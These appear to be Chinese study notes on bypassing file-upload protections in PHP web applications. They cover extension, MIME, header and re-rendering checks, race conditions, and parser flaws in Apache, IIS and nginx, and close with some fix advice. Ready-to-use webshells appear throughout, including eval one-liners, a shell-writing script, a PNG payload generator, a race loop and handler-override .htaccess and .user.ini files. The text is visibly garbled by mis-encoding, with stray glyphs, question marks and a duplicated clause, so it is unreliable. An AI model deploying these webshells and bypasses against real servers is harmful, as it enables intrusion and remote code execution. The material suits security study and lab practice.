文件上傳
概念
客戶端 選擇發(fā)送的文件->服務(wù)器接收->網(wǎng)站程序判斷->臨時(shí)文件->移動(dòng)到指定的路徑
服務(wù)器 接收的資源程序

文件上傳時(shí)的錯(cuò)誤代碼
值:0 表明沒(méi)有錯(cuò)誤發(fā)生,文件上傳成功。
值:1 表明上傳的文件超過(guò)了 php.ini 中 upload_max_filesize 選項(xiàng)限制的值。
值:2 表明上傳文件的大小超過(guò)了 HTML 表單中 MAX_FILE_SIZE 選項(xiàng)指定的值。
值:3 表明文件只有部分被上傳。
值:4 表明沒(méi)有文件被上傳。
繞過(guò)
客戶端
前端js驗(yàn)證
繞過(guò)方式
1、禁用js
2、burp抓包修改后綴名
3、F12修改
4、本地提交
服務(wù)端檢查
檢查后綴
黑名單
1、代碼思路
黑名單是設(shè)置不能通過(guò)的用戶,黑名單以外的用戶都能通過(guò)。
phtml、pht、php3、php4、php5后綴都會(huì)按做php文件執(zhí)行,且不在黑名單內(nèi)。
2、繞過(guò)
找漏網(wǎng)之魚:cer、php3、php4、phtml等。
大小寫繞過(guò) :AsP、PhP
雙寫繞過(guò):.pphphp
利用windows系統(tǒng)特性:
系統(tǒng)特性突破(繞過(guò)防火墻)
漏洞原理: 利用PHP 和 Windows環(huán)境的疊加特性,上傳x.php:.jpg時(shí),會(huì)生成x.php的空白文件,接著,以下符號(hào)在正則匹配時(shí)的相等性:
雙引號(hào)" ? ? 相當(dāng)于 ? 點(diǎn)號(hào).
大于符號(hào)> ? 相當(dāng)于? 問(wèn)號(hào)?
小于符號(hào)< ? 相當(dāng)于 ? 星號(hào)*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
寫入filename.<<<
NTFS交換數(shù)據(jù)流(繞過(guò)防火墻)
漏洞原理:
NTFS文件系統(tǒng)中對(duì)備用數(shù)據(jù)流(文件流)和對(duì)支持windows系統(tǒng)中默認(rèn)采用這種數(shù)據(jù)流::$DATA(只有win支持),如果文件名后加::$DATA會(huì)把上傳的數(shù)據(jù)當(dāng)作文件流去處理,不會(huì)檢測(cè)后綴名,且保持::$DATA之前的文件名目的就是繞過(guò)對(duì)后綴名的檢測(cè),源代碼缺少對(duì)::$DATA的過(guò)濾,抓包在后綴后面加上::$DATA即可,訪問(wèn)時(shí)要去除后面的::$DATA,直接訪問(wèn)php文件就行
例:
test.php:1.jpg
test.php::$DATA
會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容
文件名后加空格----利用Windows系統(tǒng)特性
文件名后加點(diǎn)(.)----利用Windows系統(tǒng)特性
組合以上方法? 代碼迭代問(wèn)題? 只檢測(cè)一次? 可以根據(jù)環(huán)境進(jìn)行組合繞過(guò)
白名單
1、代碼思路
定義其他格式文件 jpg png fig jpeg ico 等,只要不符合以上格式后綴一律不讓上傳? ? ? ?
2、繞過(guò)
MIME修改
媒體類型(通常稱為 Multipurpose Internet Mail Extensions 或 MIME 類型 )是一種標(biāo)準(zhǔn),用來(lái)表示文檔、文件或字節(jié)流的性質(zhì)和格式。
MIME的組成結(jié)構(gòu)非常簡(jiǎn)單;由類型與子類型兩個(gè)字符串中間用 '/' 分隔而組成。不允許空格存在。type 表示可以被分多個(gè)子類的獨(dú)立類別。subtype 表示細(xì)分后的每個(gè)類型。
通用的結(jié)構(gòu)為:type/subtype
MIME類型對(duì)大小寫不敏感,但是傳統(tǒng)寫法都是小寫。
我們只需要將Content-Type改為合適的類型就可以。
文件類型
在網(wǎng)絡(luò)請(qǐng)求中,常用的Content-Type有如下:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。
text/plain(純文本)
text/html(HTML文檔)
text/javascript(js代碼)
application/xhtml+xml(XHTML文檔)
image/gif(GIF圖像)
image/jpeg(JPEG圖像)
image/png(PNG圖像)
video/mpeg(MPEG動(dòng)畫)
application/octet-stream(二進(jìn)制數(shù)據(jù))
application/pdf(PDF文檔)
application/(編程語(yǔ)言) 該種語(yǔ)言的代碼
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內(nèi)容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表單)
multipart/form-data(POST提交時(shí)伴隨文件上傳的表單)
圖片類型:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
僅限制Content-Type的話,Burp抓包,修改Content-Type,然后放行,即可繞過(guò)
%00截?cái)啵℅ET型)
位置在url地址中
嚴(yán)謹(jǐn)獲取后綴名的話 會(huì)獲取最后一個(gè) .后面的后綴
x.php.jpg直接上傳達(dá)不到目的并且會(huì)被重命名
可被截?cái)嗬@過(guò)
上傳路徑名%00截?cái)嗬@過(guò)
上傳的文件名寫成11.jpg, save_path改成../upload/11.php%00,最后保存下來(lái)的文件就是11.php
文件上傳%00截?cái)嗟臈l件:
1 PHP版本小于5.3.4
2 php.ini中的magic_quotes_gpc設(shè)置為Off(魔術(shù)開關(guān)關(guān)閉時(shí))
%00截?cái)嘣恚?/b>
www.xxx.com/abc.php%00.jpg => www.xxx.com/abc.php
0x00截?cái)啵≒OST型)
位置在數(shù)據(jù)包中
0x00需要手動(dòng)解碼 而%00不需要,get請(qǐng)求對(duì)url編碼進(jìn)行解碼,而post表單不對(duì)%00進(jìn)行解碼
burp抓包添加%00并解碼
檢查內(nèi)容
文件頭檢測(cè)
僅限制Content-Type的話,Burp抓包,修改Content-Type,然后放行,即可繞過(guò)
文件內(nèi)容頭檢測(cè)
文件內(nèi)容頭檢測(cè)? ? ? ? 只驗(yàn)證文件內(nèi)容頭的話不安全,配合后綴名驗(yàn)證會(huì)安全些
添加GIF圖片的文件頭GIF89a,繞過(guò)GIF圖片檢查。
常見文件文件頭
https://blog.csdn.net/zhembrace/article/details/52717559?locationNum=10&fps=1
文件內(nèi)容檢查
檢測(cè)內(nèi)容是否合法或含有惡意代碼
繞過(guò)檢查<? 可以使用以下代碼
html 插入 <script language="php"> 調(diào)用數(shù)據(jù)
例:
<script language="php">echo "木馬文件"</script>
<script language="php">eval($_POST['x']);</script>
二次渲染
文件加載檢測(cè)(文件內(nèi)容檢測(cè))
漏洞原理: 服務(wù)器會(huì)根據(jù)用戶上傳的圖片重新生成圖片,但其十六進(jìn)制文件有部分沒(méi)有改變
常見的是對(duì)圖像進(jìn)行二次渲染,一般是調(diào)用PHP 的GD庫(kù)
gif后綴做測(cè)試
保留部分插入后門代碼
渲染函數(shù)導(dǎo)致可用圖片webshell
攻擊原理:
將一個(gè)正常顯示的圖片,上傳到服務(wù)器。尋找圖片被渲染后與原始圖片部分對(duì)比仍然相同的數(shù)據(jù)塊部分,將Webshell代碼插在該部分,然后上傳。具體實(shí)現(xiàn)需要自己編寫Python程序,人工嘗試基本是不可能構(gòu)造出能繞過(guò)渲染函數(shù)的圖片webshell的。
一個(gè)繞過(guò)GD庫(kù)的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
php圖片二次渲染步驟
制作一張二次渲染過(guò)后,惡意代碼依舊存在的png圖片馬
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
? $r = $p[$y];
? $g = $p[$y+1];
? $b = $p[$y+2];
? $color = imagecolorallocate($img, $r, $g, $b);
? imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
然后添加上述代碼致payload.php
然后上網(wǎng)頁(yè)運(yùn)行127.0.0.1/payload.php
因?yàn)槲覀兇a最后
會(huì)生成一個(gè)pass17.png 圖片
再上傳這張圖片即可繞過(guò)
生成的圖片后門? 需要get post提交兩個(gè)變量
get 0=phpinfo
post 1=-1
利用文件包含漏洞即可運(yùn)行代碼
參考文檔:https://blog.csdn.net/weixin_45588247/article/details/119177948
代碼邏輯
單次過(guò)濾
雙寫文件名繞過(guò) 文件名改成xx.pphphp
條件競(jìng)爭(zhēng)
一些網(wǎng)站允許上傳任意文件,然后檢測(cè)文件是否包含Webshell,如果有則刪除該文件。
unlink()函數(shù)導(dǎo)致木馬文件會(huì)在服務(wù)器存在一定的時(shí)間,再被清除。
服務(wù)器端在處理不同用戶的請(qǐng)求時(shí)是并發(fā)進(jìn)行的
如果并發(fā)處理不當(dāng)或相關(guān)操作邏輯順序設(shè)計(jì)的不合理時(shí),將導(dǎo)致條件競(jìng)爭(zhēng)漏洞
繞過(guò):
它先把文件保存在本地,再檢查,然后刪除
在上傳完成和安全檢查刪除它的間隙,攻擊者用多線程不斷的發(fā)起訪問(wèn)請(qǐng)求該文件
該文件就會(huì)被執(zhí)行從而生成一個(gè)惡意shell
競(jìng)爭(zhēng)刪除前生成shell流程:
上傳文件→訪問(wèn)執(zhí)行文件,生成shell文件→刪除不安全文件 (多線程訪問(wèn))
create_shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');?>
python請(qǐng)求代碼
import requests
url = "https://830-d6af6a91-a30e-43e8-9e18-806f4c34cf37.do-not-trust.hacking.run/upload/1.php"
try:
?? i=1
?? while True:
? ? ?? html = requests.get(url)
? ? ?? # print(html.status_code)
? ? ?? if html.status_code == 200:
? ? ? ? ?? print("OK")
? ? ? ? ?? break
? ? ?? else:
? ? ? ? ?? print('no'+str(i))
? ? ? ? ?? i=i+1
except:
?? pass
防御方案:
對(duì)于文件上傳,在將文件保存在本地前就進(jìn)行相應(yīng)的安全檢查
解析安全
參考 中間件解析漏洞
格式變異
php4 php5 phtml pht 等格式 這是有關(guān)apache的配置文件中設(shè)置問(wèn)題 只要滿足特點(diǎn)正則表達(dá)式即可
中間件解析
重寫漏洞
條件: apache開啟重寫模塊,LoadModule rewrite_module modules/mod_rewrite.so
htaccess 文件是 Apache 服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置。通過(guò) htaccess 文件,可以幫我們實(shí)現(xiàn):網(wǎng)頁(yè)301重定向、自定義 404 錯(cuò)誤頁(yè)面、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問(wèn)、禁止目錄列表、配置默認(rèn)文檔等功能。
黑白名單通用,如果可上傳修改 .htaccess 文件 (還能用于隱藏后門)
重寫文件解析規(guī)則繞過(guò)
即先上傳個(gè).htaccess文件,讓解析規(guī)則變更
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//上傳的所有.jpg文件,將解析為php運(yùn)行
nginx: 上傳.user.ini文件,內(nèi)容為:
#define width 1337
#define height 1337
\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = 1.jpg
把當(dāng)前文件夾下的所有php文件都包含這個(gè)1.jpg
特別注意是當(dāng)前文件夾下
加入目錄里面有index.php和1.jpg,則此時(shí)訪問(wèn)index.php,網(wǎng)頁(yè)中就包含了木馬
其他:
雙文件上傳漏洞
漏洞原理:
往往對(duì)第一個(gè)文件上傳進(jìn)行檢測(cè)而忽略第二個(gè), 所以在第二個(gè)地方上傳shell就行
iis7.0|iis7.5|nginx解析漏洞
漏洞原理:
1、php.ini里cgi.fix_pathinfo=1(默認(rèn)為1)
2、在”Handler Mapping”中取消勾選"僅當(dāng)請(qǐng)求映射至以下內(nèi)容時(shí)才調(diào)用處理程序"
漏洞利用: xxx.jpg/.php表示將圖片當(dāng)成php解析
nginx < 0.83 漏洞
漏洞原理: %00截?cái)?/p>
漏洞利用: /1.jpg%00php
Apache未知擴(kuò)展名解析漏洞
Apache的解析漏洞依賴于一個(gè)特性: Apache默認(rèn)一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,當(dāng)最右邊的后綴無(wú)法識(shí)別(不在默認(rèn)一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,當(dāng)最右邊的后綴無(wú)法識(shí)別(不在mime.types文件內(nèi)),則文件內(nèi)),則繼續(xù)向左識(shí)別,直到識(shí)別到合法后綴才進(jìn)行解析。
漏洞利用:phpinfo.php.xxx
實(shí)戰(zhàn)中可以上傳rar,owf等文件進(jìn)行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會(huì)直接解析為jpg。因?yàn)锳pache認(rèn)識(shí).jpg,停止繼續(xù)向左識(shí)別。
Apache換行解析漏洞(CVE-2017-15715)
影響范圍:2.4.0~2.4.29版本
環(huán)境:phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因,在于$, 正則表達(dá)式中$不僅匹配字符串結(jié)尾位置,也可以匹配\n 或 \r
在解析PHP時(shí),1.php\x0A將被按照PHP后綴進(jìn)行解析,導(dǎo)致繞過(guò)一些服務(wù)器的安全策略。
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
限制:獲取文件名時(shí)不能用$_FILES['file']['name'],因?yàn)樗鼤?huì)自動(dòng)把換行去掉。
修復(fù)建議:
1、升級(jí)到最新版本
2、或?qū)⑸蟼鞯奈募孛麨闉闀r(shí)間戳+隨機(jī)數(shù)+.jpg的格式并禁用上傳文件目錄執(zhí)行腳本權(quán)限。
一句話木馬
php
<?php eval($_GET[xxx]);?>
<?php eval($_POST[xxx]);?>
asp
<%eval request("xxx")%>
asp一句話木馬 可以寫在asp,asa,cdx,cer文件中,這些文件都能夠識(shí)別
文件上傳修復(fù)建議
1、使用白名單限制可以上傳的文件擴(kuò)展名
2、注意0x00截?cái)喙簦≒HP更新到最新版本)
3、對(duì)上傳后的文件統(tǒng)一隨機(jī)命名,不允許用戶控制擴(kuò)展名
4、上傳文件的存儲(chǔ)目錄禁用執(zhí)行權(quán)限
代碼審計(jì)中關(guān)注以下函數(shù)
move_uploaded_file() //將上傳的文件移動(dòng)到新位置
全局搜索$_FILES變量,定位到相關(guān)的上傳過(guò)程查看過(guò)濾是否嚴(yán)格。
文件上傳代碼
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
? ? //檢查MIME
? ? $allow_type = array('image/jpeg','image/png','image/gif');
? ? if(!in_array($_FILES['upload_file']['type'],$allow_type)){
? ? ? ? $msg = "禁止上傳該類型文件!";
? ? }else{
? ? ? ? //檢查文件名
? ? ? ? $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
? ? ? ? if (!is_array($file)) {
? ? ? ? ? ? $file = explode('.', strtolower($file));
? ? ? ? }
? ? ? ? $ext = end($file);
? ? ? ? $allow_suffix = array('jpg','png','gif');
? ? ? ? if (!in_array($ext, $allow_suffix)) {
? ? ? ? ? ? $msg = "禁止上傳該后綴文件!";
? ? ? ? }else{
? ? ? ? ? ? $file_name = reset($file) . '.' . $file[count($file) - 1];
? ? ? ? ? ? $temp_file = $_FILES['upload_file']['tmp_name'];
? ? ? ? ? ? $img_path = UPLOAD_PATH . '/' .$file_name;
? ? ? ? ? ? if (move_uploaded_file($temp_file, $img_path)) {
? ? ? ? ? ? ? ? $msg = "文件上傳成功!";
? ? ? ? ? ? ? ? $is_upload = true;
? ? ? ? ? ? } else {
? ? ? ? ? ? ? ? $msg = "文件上傳失??!";
? ? ? ? ? ? }
? ? ? ? }
? ? }
}else{
? ? $msg = "請(qǐng)選擇要上傳的文件!";
}
action屬性是提交的目標(biāo)。
method屬性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上傳一般用 POST。
enctype屬性必須要寫成這樣,因?yàn)槲募蟼骱推胀ǖ奶峤痪哂胁煌木幋a方式。如果不寫的話,可能會(huì)被當(dāng)做urlencoded,就是k1=v1&k2=v2的鍵值對(duì)形式,導(dǎo)致解析不出東西。
最后是文件輸入框,它的name屬性非常重要,它是PHP腳本中尋找文件的關(guān)鍵字。
接下來(lái)是PHP腳本中的東西,PHP中通過(guò)$_FILES對(duì)象來(lái)讀取文件,通過(guò)下列幾個(gè)屬性:
$_FILESfile - 被上傳文件的名稱。
$_FILESfile - 被上傳文件的類型。
$_FILESfile - 被上傳文件的大?。ㄗ止?jié))。
$_FILESfile - 被上傳文件在服務(wù)器保存的路徑,通常位于臨時(shí)目錄中。
$_FILESfile - 錯(cuò)誤代碼,0為無(wú)錯(cuò)誤,其它都是有錯(cuò)誤。
如果上傳的是數(shù)組的話,會(huì)跳過(guò)$file = explode('.', strtolower($file));。并且后綴有白名單過(guò)濾。
而最終的文件名后綴取的是$file[count($file) - 1],因此我們可以讓$file為數(shù)組。$file[0]為1.php/,也就是reset($file),然后再令$file[2]為白名單中的jpg。
此時(shí)end($file)等于jpg,$file[count($file) - 1]為空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最終move_uploaded_file會(huì)忽略掉/.,最終上傳1.php。
相關(guān)函數(shù):
getimagesize($filename);函數(shù)判斷文件是否為圖片
exif_imagetype()檢查是否為圖片文件
imagecreatefromjpeg() 二次渲染函數(shù) 由文件或 URL 創(chuàng)建一個(gè)新圖象。
實(shí)戰(zhàn)思路
文件上傳不管是發(fā)現(xiàn)還是利用上都會(huì)根據(jù)產(chǎn)生層面而不同, 常規(guī)無(wú)資料采用常規(guī)思路測(cè)試,有資料的情況下直接參考資料進(jìn)行。
上傳分類
常規(guī)網(wǎng)站
框架CMS
編輯器
中間件
有已知漏洞則利用已知漏洞
靶場(chǎng)項(xiàng)目地址:
https://github.com/c0ny1/upload-labs
https://github.com/admin360bug/upload-labs
后續(xù)筆記修改及完善會(huì)在個(gè)人學(xué)習(xí)記錄更新
有一起學(xué)習(xí)的歡迎加qq群622816049共同討論